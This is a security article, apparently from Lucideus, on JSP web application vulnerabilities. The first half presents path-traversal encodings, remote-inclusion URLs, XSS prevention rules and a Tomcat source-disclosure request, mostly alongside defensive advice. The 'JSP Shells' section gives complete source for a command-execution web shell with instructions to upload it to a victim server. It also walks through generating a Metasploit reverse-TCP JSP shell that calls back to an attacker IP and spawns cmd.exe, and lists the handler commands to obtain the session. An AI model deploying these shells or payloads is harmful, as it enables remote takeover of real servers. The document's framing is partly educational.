JSP Vulnerabilities and Fixes for

Developers | Lucideus
Introduction
This article presents some of the vulnerabilities that are observed in Java JSP based web
applications which may not be enough for developing a secure web application but it’s a
good start. An application should be developed giving priority to its security and users’ data.
It is a good practice to design APIs while keeping security in mind.

Vulnerabilities in JSP

Dot Dot Attack or Path Traversal

A path traversal attack (also known as directory traversal) aims to access files and directories
that are stored outside the web root folder. By manipulating variables that reference files with
“dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be
possible to access arbitrary files and directories stored on file system including application
source code or configuration and critical system files.

Request Variations
Encoding and double encoding:
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.

Percent encoding (aka URL encoding)

Note that web containers perform one level of decoding on percent encoded values from
forms and URLs.
..%c0%af represents ../
..%c1%9c represents ..\

The following examples show how the application deals with the resources in use.
http://some_site.com.br/get-files.jsp?file=report.pdf
http://some_site.com.br/get-page.php?home=aaa.html
http://some_site.com.br/some-page.asp?page=index.html

In these examples, it’s possible to insert a malicious string as the variable parameter to access
files located outside the web publish directory.
http://some_site.com.br/get-files?file=../../../../some dir/some file
http://some_site.com.br/../../../../some dir/some file

It's also possible to include files and scripts located on external website.
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-
code.php
All but the most simple web applications have to include local resources, such as images,
themes, other scripts, and so on. Every time a resource or file is included in the application,
there is a risk that an attacker may be able to include a file or remote resource you didn’t
authorize.

How to identify if an application is vulnerable

 Be sure you understand how the underlying operating system will process file names
handed off to it.
 Don't store sensitive configuration files inside the web root
 For Windows IIS servers, the web root should not be on the system disk, to prevent
recursive traversal back to system directories.

How to protect the application

 Prefer working without user input when using file system calls.
 Use indexes rather than actual portions of file names when templating or using
language files (ie value 5 from the user submission = Dutch, rather than expecting the
user to return “Dutch”).
 Ensure the user cannot supply all parts of the path – surround it with your path code.
 Validate the user’s input by only accepting known well – do not sanitize the data.
 Use chroot jails and code access policies to restrict where the files can be obtained or
saved to.
 If forced to use user input for file operations, normalize the input before using in file
io API's.

Cross Site Scripting

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are
injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses
a web application to send malicious code, generally in the form of a browser side script, to a
different end user. Flaws that allow these attacks to succeed are quite widespread and occur
anywhere a web application uses input from a user within the output it generates without
validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s
browser has no way to know that the script should not be trusted, and will execute the script.
Because it thinks the script came from a trusted source, the malicious script can access any
cookies, session tokens, or other sensitive information retained by the browser and used with
that site. These scripts can even rewrite the content of the HTML page.

XSS Prevention Rules

Never Insert untrusted data except in allowed locations. The first rule is to deny all - don't put
untrusted data into your HTML document unless it is within one of the slots.
HTML Escape before inserting untrusted data into HTML Element Content.
Attribute escape before inserting untrusted data into HTML common attributes.
Javascript escape before inserting untrusted data into javascript data values.
URL escape before inserting untrusted data into HTML URL parameter values.
Sanitize HTML Markup with a library designed for the job.
Secure Data in GET Request
This is quite simple. Because GET requests expose information as simple text, anyone can
access and use that information. It's only a tiny step from there to malicious attacks. The
target of this type of attack is servers and other clients.
Example: http://.../...jsp?creditcard=039383383&pin=33222
Address this type of attack by using the POST method instead of GET, and an SSL transport
mechanism.

Container Vulnerabilities
Before putting your trust in a platform, you have to be aware of its vulnerabilities. For
example, a well-known problem of Tomcat is that this container offers access to the JSP
source by requesting the page as in the following example:

http://server/page.js%2570, where %25 is a URL, encoded % and 70 is the hexadecimal value

for p.

The target of this attack is both clients and servers. To address this type of attack, be aware of
container vulnerabilities, and employ vendor-specific security support that addresses the
specified vulnerabilities.

JSP Shells
JSP Shell is referred to as a “Java Server Page” that accepts arbitrary commands for
execution on the hosting web server. Examples of servers that support such technology
include JBoss, IBM WebSphere, BEA WebLogic, and Apache Tomcat. Traditional JSP shells
use an HTML form to accept commands, but in more recent years JSP shells have been
modified to initiate Metasploit sessions.

Basic JSP shell

This is one of the most basic JSP shell code examples available. Basic use instructions are
below.

 Save the source code below as cmd.jsp and upload to the victim server.
 Enter the command in the input box and click “Execute”. The command output will
be displayed on the page in the web browser.

<%@ page
import=”java.util.*,java.io.*”%>
<%
%>
<HTML>
<BODY>
<H3>JSP SHELL</H3>
<FORM METHOD=”GET” NAME=”myform” ACTION=”">
<INPUT TYPE=”text” NAME=”cmd”>
<INPUT TYPE=”submit” VALUE=”Execute”>
</FORM>
<PRE>
<%

if (request.getParameter(“cmd”) != null) {
 out.println(“Command: ” +
request.getParameter(“cmd”) + “<BR>”);
Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}

%>
</PRE>
</BODY>
</HTML>

Metasploit JSP Shell

Using the Metasploit JSP shell in an attack requires approximately six steps.

 Generate the cmd.jsp shell with msfpayload

 Upload the cmd.jsp file to the server
 Run a Metasploit multi-handler on the local system
 Visit the cmd.jsp page in a web browser
 Obtain shell

To generate a JSP shell on a windows system using the command below. In the example
below, the LHOST variable should be set to your IP address.

ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110

LPORT=53 R > cmd.jsp

After the command is executed, Metasploit should output source code to the file cmd.jsp that
looks something like the example below.
<%@page import=”java.lang.*”%>
<%@page import=”java.util.*”%>
<%@page import=”java.io.*”%>
<%@page import=”java.net.*”%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os ){
this.is = is;
this.os = os;
}
 public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ){
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ){}
try{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ){}
}
}
try
{
Socket socket = new Socket( “192.168.100.110″, 53 );
Process process = Runtime.getRuntime().exec( “cmd.exe” );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() )
).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() )
).start();
}
catch( Exception e ) {}
%>

Next, upload the cmd.jsp file to the target server. Start the Metasploit multi handler. Open a
msfconsole and type the following commands to start a multi handler in the background. The
LHOST and LPORT variables should be configured relative to your system; the SHELL
variable should be changed to /bin/sh if the target system is Linux/ Unix based, and the local
firewall should be configured to allow traffic on port 53.

use exploit/multi/handler
setg LHOST 192.168.100.110
setg LPORT 53
setg PAYLOAD java/jsp_shell_reverse_tcp
setg SHELL cmd.exe
exploit –j -z
Finally, visit the http://www.somedomain.com/cmd.jsp page that was uploaded earlier and
watch your msfconsole for a new session.

Conclusion
There are a number of attacks that can exploit the weak points of an application, not all of
which are mentioned over here. To learn about other vulnerabilities, checkout webgoat by
owasp which would be pretty helpful in understanding the common vulnerabilities that are
found in the java J2EE based applications. WebGoat is a deliberately insecure web
application maintained by OWASP designed to teach web application security lessons. It is
heavily recommended to look into webgoat and it’s counterpart webwolf.

References
[1] https://www.exploit-db.com/platform/?p=JSP
[2] https://www.owasp.org/index.php/Path_Traversal
[3] https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
[4] https://blog.netspi.com/hacking-with-jsp-shells/
[5] https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project